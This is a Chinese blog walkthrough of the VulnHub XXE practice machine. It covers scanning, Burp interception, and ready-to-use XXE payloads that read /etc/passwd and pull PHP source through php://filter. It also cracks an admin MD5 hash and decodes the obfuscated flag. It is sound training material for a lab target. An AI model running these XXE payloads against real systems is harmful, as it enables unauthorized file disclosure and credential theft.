vulnhub-XXE漏洞靶机流程(图文+工具包)

靶机下载链接

http://download.vulnhub.com/xxe/XXE.zip

win下全套工具包

链接:https://pan.baidu.com/s/1joOWbE6823GuFyBm92sR0A 
提取码:r0xn

一、首先打开靶机

靶机是不给你账号密码的,为了防止你直接混入系统查找flag,通常密码都会先设置的非常复杂,不要想着破解了。

二、打开nmap对内网进行一次扫描找到靶机

在虚拟机里找到你的内网ip池以及掩码

填入nmap,配置选择Quick scan 简单扫描,就可以得到内网主机ip

(虚拟机-》右上角 编辑-》网络编辑器-》net   就可以看到虚拟机的ip池了)

 点击服务,我们可以看到多出来一个http服务,应该就是xxe靶机

 咱们使用火狐渗透版打开这个端口

链接:https://pan.baidu.com/s/1uargsu2YIESyVdiI6hXVYA 
提取码:mvwm

发现只是一个默认界面,接下来老规矩先扫描一下网站 

3、web目录扫描

这里咱们使用御剑进行扫描,因为apache一般都是php,咱们这里只保留php就行了,开始扫描

 咱们这里只得到一个robots.txt,这是一个爬虫访问路径,里面有可能泄露服务器文件信息,咱们打开看看

发现一个xxe路径和admin.php文件

打开xxe

 四、抓包分析

打开浏览器代理

 打开我们的老朋友Burpsuite抓包

请按顺序打开,即可进入

 

 (1)进入Burpsuite抓包

(Burpsuite字符偏移修正请参考

Burpsuite字符偏移修正_年关的博客-CSDN博客

点击进入 Proxy->Options对监听端口设置

将之与火狐浏览器统一

 接下来回到Proxy->Intercept打开抓包(Intercept is on 蓝色处于开启状态)

(2) 打开火狐浏览器进行登录

 点击登陆后Burpsuite自动跳出,到抓包界面

 

(3)打开 Burpsuite的Repeater模式

进入Repeater

 (4)分析数据包

因为这个靶机考验的是xxe漏洞,所以我们将目光放到xml部分

(XXE漏洞:https://blog.csdn.net/qq_45514735/article/details/123292059

<?xml version="1.0" encoding="UTF-8"?>
    <root>
        <name>
            admin
        </name>
        <password>
            admin
        </password>
    </root>

 这里我们可以看到root标签中是我们登录时输入的账号密码

尝试进行DTD实体包含,将xml部分进行构造

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///etc/passwd">
]>
<root><name>&sp;</name><password>hj</password></root>

 模拟发送

 可以看到网页成功包含文件内容返回,在这里就算是成功找到漏洞了

接下来如何利用漏洞呢?

五、漏洞利用

上面我们讲到利用xxe漏洞进行文件包含,但是在实战情况下我们没办法得到网站的根目录路径,所以我们接下来将用

php://filter/read

使用相对路径获取网站文件源码

构造xml,注意,在之前的爬虫文件中有一个admin.php的管理员登陆界面,我们读取他试试

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>

这里是用base64获取的源码(官方的操作,想细究的话去vulnhub找)

 复制出密文,打开工具包中的超级加解密工具

将解码后的php源码粘贴到notepad++里面去,我们仔细看看

 

 在第80-83行存在了一个账号判断,但是密码进行了md5加密,这里我们要对MD5进行个解密

md5在线解密破解,md5解密加密

 账号为:administhebest

密码为:admin@123

我们试着登录admin.php看看(关掉bp抓包别忘了)

 登陆上去了,但是没什么用,我们再看一下源码

第88行有一个flag的文件,我们直接爆源码

 更改xml

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">
]>
<root><name>&sp;</name><password>hj</password></root>

源码:

PD9waHAKJGZsYWcgPSAiPCEtLSB0aGUgZmxhZyBpbiAoSlFaRk1NQ1pQRTRIS1dUTlBCVUZVNkpWTzVRVVFRSjUpIC0tPiI7CmVjaG8gJGZsYWc7Cj8+Cg==

 解码后仍然是密文

JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5

 经过多次尝试

这段密文需要

 base32解密--》 base64解密

Base32编码解码,Base32在线转换工具 - 千千秀字

得到一个文件路径 

/etc/.flag.php

老方法xml读取

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&sp;</name><password>hj</password></root>

 得到密文

JF9bXSsrOyRfW109JF8uXzskX19fX189JF9bKCsrJF9fW10pXVsoKyskX19bXSkrKCsrJF9fW10pKygrKyRfX1tdKV07JF89JF9bJF9bK19dXTskX19fPSRfXz0kX1srKyRfX1tdXTskX19fXz0kXz0kX1srX107JF8rKzskXysrOyRfKys7JF89JF9fX18uKyskX19fLiRfX18uKyskXy4kX18uKyskX19fOyRfXz0kXzskXz0kX19fX187JF8rKzskXysrOyRfKys7JF8rKzskXysrOyRfKys7JF8rKzskXysrOyRfKys7JF8rKzskX19fPStfOyRfX18uPSRfXzskX19fPSsrJF9eJF9fX1srX107JMOAPStfOyTDgT0kw4I9JMODPSTDhD0kw4Y9JMOIPSTDiT0kw4o9JMOLPSsrJMOBW107JMOCKys7JMODKys7JMODKys7JMOEKys7JMOEKys7JMOEKys7JMOGKys7JMOGKys7JMOGKys7JMOGKys7JMOIKys7JMOIKys7JMOIKys7JMOIKys7JMOIKys7JMOJKys7JMOJKys7JMOJKys7JMOJKys7JMOJKys7JMOJKys7JMOKKys7JMOKKys7JMOKKys7JMOKKys7JMOKKys7JMOKKys7JMOKKys7JMOLKys7JMOLKys7JMOLKys7JMOLKys7JMOLKys7JMOLKys7JMOLKys7JF9fKCckXz0iJy4kX19fLiTDgS4kw4IuJMODLiRfX18uJMOBLiTDgC4kw4EuJF9fXy4kw4EuJMOALiTDiC4kX19fLiTDgS4kw4AuJMODLiRfX18uJMOBLiTDgi4kw4MuJF9fXy4kw4EuJMOCLiTDgC4kX19fLiTDgS4kw4kuJMODLiRfX18uJMOBLiTDiS4kw4AuJF9fXy4kw4EuJMOJLiTDgC4kX19fLiTDgS4kw4QuJMOGLiRfX18uJMOBLiTDgy4kw4kuJF9fXy4kw4EuJMOGLiTDgS4kX19fLiTDgS4kw4guJMODLiRfX18uJMOBLiTDgy4kw4kuJF9fXy4kw4EuJMOILiTDgy4kX19fLiTDgS4kw4YuJMOJLiRfX18uJMOBLiTDgy4kw4kuJF9fXy4kw4EuJMOELiTDhi4kX19fLiTDgS4kw4QuJMOBLiRfX18uJMOBLiTDiC4kw4MuJF9fXy4kw4EuJMOJLiTDgS4kX19fLiTDgS4kw4kuJMOGLiciJyk7JF9fKCRfKTsK

解码后得到的是一段php代码

$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$脌=+_;$脕=$脗=$脙=$脛=$脝=$脠=$脡=$脢=$脣=++$脕[];$脗++;$脙++;$脙++;$脛++;$脛++;$脛++;$脝++;$脝++;$脝++;$脝++;$脠++;$脠++;$脠++;$脠++;$脠++;$脡++;$脡++;$脡++;$脡++;$脡++;$脡++;$脢++;$脢++;$脢++;$脢++;$脢++;$脢++;$脢++;$脣++;$脣++;$脣++;$脣++;$脣++;$脣++;$脣++;$__('$_="'.$___.$脕.$脗.$脙.$___.$脕.$脌.$脕.$___.$脕.$脌.$脠.$___.$脕.$脌.$脙.$___.$脕.$脗.$脙.$___.$脕.$脗.$脌.$___.$脕.$脡.$脙.$___.$脕.$脡.$脌.$___.$脕.$脡.$脌.$___.$脕.$脛.$脝.$___.$脕.$脙.$脡.$___.$脕.$脝.$脕.$___.$脕.$脠.$脙.$___.$脕.$脙.$脡.$___.$脕.$脠.$脙.$___.$脕.$脝.$脡.$___.$脕.$脙.$脡.$___.$脕.$脛.$脝.$___.$脕.$脛.$脕.$___.$脕.$脠.$脙.$___.$脕.$脡.$脕.$___.$脕.$脡.$脝.'"');$__($_);

我们找个在线运行的网站试试

PHP在线运行工具|代码在线运行工具 (y444.cn)

运行失败了?

别急,这可是见鬼的ctf,我们仔细看一下报错

PHP Notice:  Undefined variable: _ in /usercode/file.php on line 2
PHP Notice:  Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice:  Array to string conversion in /usercode/file.php on line 2
PHP Notice:  Undefined variable: __ in /usercode/file.php on line 2
PHP Notice:  Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice:  Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice:  Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice:  Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice:  Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice:  Undefined variable: 脕 in /usercode/file.php on line 2
PHP Parse error:  syntax error, unexpected '{' in /usercode/file.php(2) : assert code on line 1
PHP Catchable fatal error:  assert(): Failure evaluating code: 
SAFCSP{xxe_is_so_easy} in /usercode/file.php on line 2

 我们发现,最后一行。。。。。。

SAFCSP{xxe_is_so_easy}

flag找到了,见鬼的ctf脑筋急转弯。

  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
泛微OA是一种常见的企业办公自动化系统,而XXE(XML外部实体注入)漏洞是指攻击者通过注入恶意的外部实体来读取或利用系统的敏感数据。 泛微OA的XXE漏洞是由于系统对外部XML实体的处理不当所导致的。攻击者可以通过构造恶意的XML实体并将其发送给系统,然后利用系统对外部实体的解析不当来读取系统的文件,包括敏感的配置文件、数据库信息。攻击者还可以通过XXE漏洞发起钓鱼攻击或者是向系统发送恶意的请求来进一步导致系统的安全漏洞。 为了防范泛微OA的XXE漏洞,建议以下几点: 1. 进行安全审计:对泛微OA系统进行定期的安全审计,通过检测系统漏洞和弱点,及时修复存在的XXE漏洞。 2. 模板限制:在处理外部XML实体时,应限制或阻止对外部实体的解析,避免可能的XXE攻击。可以通过设置合适的解析选项,限制对外部实体的访问权限。 3. 输入验证与过滤:对于用户输入的数据,应进行合理的验证和过滤,确保输入的内容符合预期格式,避免恶意的外部实体注入。 4. 更新补丁:定期保持泛微OA系统的更新与升级,及时安装官方发布的补丁和修复漏洞的版本。 5. 安全意识培训:加强企业员工的安全意识培训,提高他们对XXE漏洞及其他安全威胁的认识,避免因无意点击恶意链接或下载恶意附件而导致漏洞的利用。 通过以上措施,可以有效地减少泛微OAXXE漏洞,提升系统的安全性。及早识别并修复漏洞,有助于保护企业的机密信息以及防止潜在的安全威胁发生。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值